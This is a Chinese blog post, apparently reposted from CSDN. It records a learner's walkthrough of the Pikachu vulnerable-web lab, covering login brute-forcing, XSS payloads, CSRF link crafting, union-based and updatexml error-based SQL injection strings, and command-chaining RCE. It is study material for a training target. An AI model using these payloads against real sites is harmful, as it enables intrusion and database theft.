欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 教育 > 培训 > Pickachu靶场记录

Pickachu靶场记录

2025/10/19 6:41:59 来源:https://blog.csdn.net/m0_68956519/article/details/145660099  浏览:    关键词:Pickachu靶场记录

1,暴力破解

1,基于表单的暴力破解

对于简单的密码和用户,可以用字典暴力破解

先随便输入用户名和密码,并用bp抓包

(如果无法抓包,可以先查一下自己的ip地址,先访问自己的ip在近靶场) 

 发送到测试器

选中炸弹爆破,网上找一个密码字典

最后发现admin 123456可以登录 


2,验证码绕过(on sever)

这里的验证码只有在页面刷新时才会刷新,不会随着登录刷新

我们可以bp抓包,验证码不用改变来爆破 

先随便登录,验证码填正确的,并抓包

再次用bp爆破

仍然可以爆破得到 


3,验证码绕过(on client)

看一下提示

前端js可以用工具台禁用JavaScript

禁用后验证码生成栏就为空了

我们输入错的用户名和密码,验证码不管 

可以看到不提示验证码错误,然后和表单暴力破解一样操作就可以了


4,token放爆破

首先,token是什么

在计算机领域中,token 通常是指一串字符或符号,比如微信公众平台的密钥,就被称作一个 token,其实就是一长串的字符。

使用token机制的身份验证方法,在服务器端不需要存储用户的登录记录。

先bp抓包看一下 

如果我们直接爆破的话 其实处理起来也不负责,我们选用音叉爆破

选中token和要爆破的内容

这里的token生成的值能在源码中看到,我们在爆破设置时

在option选项卡中,在extract中,添加token值

在回到有效载荷中选中递归搜索 

将之前的token值复制到这里 


2,Cross-Site Scripting

1,反射型xss(GET)

输入kobe有反应

不清楚这道题具体想要干什么

看wp发现原来可以通过输入执行一些功能

<script>alert('xss')</script>

但是这里的搜索框限制了长度

 f12修改长度

就可以执行命令


2,反射型xss(POST) 

先跟提示过一下

然后也是个 

这里与之前输入一样的内容,可以执行 可能因为是post传递的,所以是post型


3,存储型xxs

是一个留言板,当输入之前的代码时,同样会弹出提示

当我们从其他题目切换回这个题时,同样会弹出

也就是说传入的数据被存储了起来 


4,DOM型xss

什么是dom型xss

DOM是一种用于表示和操作HTML、XML等文档结构的编程接口,通过它可以使用代码来访问、修改和操作Web页面的内容和结构。

所以应该是可以用工具台来修改 这里没看懂这个href有什么用,网上看了下

<a> 是一个超链接,所以我们点击下面的蓝色字符就可以跳转到对应的地方

然后又用了onlick的方法可以执行里面的代码,而herf是存储链接的地址

所以可以像sql那样构造闭合然后执行代码(我猜的)

所以可以用

" onclick=alert('xss')>

 

后面是闭合起来,让what do you see被省略掉了

但是前面的闭合好像有问题,试一下换成单引号

可以看到href后面没跟东西,而下面的what do you see 多了一个'>

后来又试着用了另一种办法,也可也,但是这里面的字符要用双引号,否则会提前闭合

也进一步证明了这的闭合是单引号

javascript:alert("man!")

但通常推荐用onlick的方法 


5,DOM型XSS-X

点击按钮url发生了改变

但在f12中同样可以找到与上题一样的代码 

 


6,xss盲打

先看提示

其实真正的地址是/vul/xss/xssblind/admin.php

登录之前破解的admin 123456就可以进入后台 传入代码

再次进入后台,弹出了xss 


7,xss之过滤

分别输入1,2,3,会弹出输入内容拼接起来的字符

但是输入<script>alert('man')</script>时,只识别了第一个字符 

去看了下源码 这时候就用到了之前dom型的超链接<a>来执行代码

<a href="" onclick="alert('xss')">

可以看到变成蓝色链接了 

不知道为什么后面会自动跟个超链接的结束标记</a>

这样后面的字符串就成了链接的提示字符

也可也自己加


8,xss之htmlspecialchars

输入会被记录

直接输入代码,点击不行 

提示去搜一下什么是htmlspecialchars 这样的过滤确实很强,那有没有什么方法可以绕过呢

有的,bro,有的

用f12打开,查看

可以构造<a>的闭合

这里可以看到已经闭合了 


9,xss之herf输出

输入一个回环地址后发现也是超链接的格式

用单引号构造闭合,结果发现不行 改成双引号也不行,仔细观察,发现输入的与代码里的字符一模一样

也就是说特殊字符没起到闭合的作用

瞟一眼提示

在源码里找到方法

查看wp发现有些特殊字符是被编码了 就可以用

javascript:alert("what")

 因为这里不用特殊字符构造闭合来插入代码

而是可以直接利用href自带的执行javascript的功能


10,xss之js输出

输入1,出现回显

与之前做的都不一样 查看提示

找到输入的地方 这里的$ms存储了我们输入的内容,可以看到前面已经有了<script>,也就是我们输入的自动就变成了JavaScript函数中的内容,之前是没有这个的

一样是构造闭合

前面有了就不写,在后面填一个

</script><script>alert('xss')</script>

第一个</script> 闭合最开始的<script>,后面又是一个新的代码


3,CSRF

1,CRSF(GET)

根据提示随便登录一个用户

如果我们是kobe这个号的用户,我们就可以直接修改 

但是我们要以攻击方的视角,让被攻击方的信息被修改

用bp抓包看下特征 

可以看到我们提交的修改内容会出现在url栏中 用这个工具可以利用csrf

修改其内容后点击用浏览器测试 

访问后得到一个链接 点击

跳转到了详细信息界面

这里我输入的太长导致没成功,但应该是改了

如果我们再把刚刚的链接伪装一下

将其藏在按钮或者一个超链接中

在加上一点吸引人的内容,点击之后信息就会被修改,造成了crsf


2,CRSF(POST)

一样的操作,只是传递方式为post

用bp抓包

 

点击之后就可以修改了


3,CRSF(token)

由题目知,这里登录会伴随token的认证

每次修改信息都会生成不同的token值来验证

看wp可以先抓包拿到修改请求的crsf

然后再次申请修改拿到未使用的token来构造链接

但是我没做成功pikachu靶场CSRF-token测试报告_信息安全实验报告pikachu-CSDN博客 


4,Sql Inject

1,数字型注入

这里查询不能自由输入,只能选择

bp抓包看行不行

 

由于说了是数字型注入,我们直接开始 试了一下字段只有两

 

密码应该是被哈希加密了,网上找碰撞应该能还原


2,字符型注入

输入1'报错,是单引号闭合 这题用--+和#省略后面的还不行

看了源码发现要用'"

1' union select 1,2'"

 

然后爆表名又要# ?

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

 

又试了一下,前面的查回显也可也用#,但是最后与#不能有空格 

1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#


3,搜索型注入

根据提示搜索%%,出来了所有的用户名 查看源码

 

 只是闭合方式换了,方法一样

0%' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

 

 

0%' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'#

 


4,xx型注入

 闭合为')

') union select 1,2#

 

') union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

 


5,insert/update注入

这边让先注册个账号

注册登录后,发现可以在修改信息里面注入

 在看源码,提示用报错注入

1' and updatexml(1,concat('^',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'^'),1)#

1' and updatexml(1,concat('^',(select group_concat(column_name) from information_schema.columns where table_name='users'),'^'),1)#

 可以看到没显示完全,用mid()

1' and updatexml(1,concat('^',mid((select group_concat(column_name) from information_schema.columns where table_name='users'),20,100),'^'),1)#

 后面也是大差不差


6,delete注入

从题目看跟删除有关 这里可以看到删除时传入了参数id,并用单引号和方括号闭合

用bp抓包

这题会编译空格,可以用+绕过

 

?id=58+and+updatexml(1,concat('^',(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),'^'),1)

 

?id=58+and+updatexml(1,concat('^',(select+group_concat(colunm_name)+from+information_schema.colunms+where+table_name='users'),'^'),1)

 


7,http头注入

 根据题目,得知要通过http头注入

登陆后,显示了user agent

bp抓包并在UA头注入

User-Agent: 1' or updatexml(1,concat('$',(select database()),'$'),1) or '

 

然后后面和之前一样操作就可以了


 5,RCE

Windows系统:
|:只执行后面的语句。
||:如果前面的语句执行失败,则执行后面的语句。
&:两条语句都执行,如果前面的语句为假则执行后面的语句,如果前面的语句为真则不执行后面的语句。
&&:如果前面的语句为假,则直接出错,也不再执行后面的语句;前面的语句为真则两条命令都执行,前面的语句只能为真。

Linux系统:
;:执行完前面的语句再执行后面的语句,当有一条命令执行失败时,不会影响其它语句的执行。
|(管道符):只执行后面的语句。
||(逻辑或):只有前面的语句执行出错时,执行后面的语句。
&(后台任务符):两条语句都执行,如果前面的语句为假则执行后面的语句,如果前面的语句为真则不执行后面的语句。
&&(逻辑与):如果前面的语句为假则直接出错,也不再执行后面的语句;前面的语句为真则两条命令都执行,前面的语句只能为真。(命令替换):当一个命令被解析时,它首先会执行反引号之间的操作。例 echo whoami

1,exec'ping'

用||合并执行命令

ping 0.0.0.1 || dir

这样可以通过一系列命令访问靶机上的任意文件


2, exec'evel'

感觉题目写错了,应该是eval

再看下后台源码

没什么说的了,可以执行任何命令

但是输入system('ls');没反应,但是可以执行phpinfo(); 

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com

热搜词